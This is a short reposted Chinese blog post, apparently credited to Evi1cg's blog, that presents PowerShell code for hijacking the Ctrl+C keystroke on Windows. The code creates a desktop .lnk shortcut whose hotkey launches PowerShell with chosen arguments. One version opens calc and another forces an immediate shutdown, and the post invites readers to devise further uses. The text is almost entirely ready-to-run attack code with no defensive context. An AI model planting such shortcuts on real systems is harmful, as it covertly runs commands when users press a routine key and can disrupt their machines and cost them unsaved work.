Hijacking Common Windows Shortcuts with Powershell

Demo:

demo.gif

劫持快捷键,执行命令。

 

Code:

calc:

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.hotkey = "ctrl+c"
$Shortcut.Arguments = 'calc'
$Shortcut.Save()

shutdown:

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.hotkey = "ctrl+c"
$Shortcut.Arguments = 'shutdown /s /t 0'
$Shortcut.Save()

更多玩儿法,你来创造~

 

文章出处:Evi1cg's blog   

原文链接:https://evi1cg.me/archives/hijacking-common-windows-shortcuts-with-powershell.html

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

3

发表评论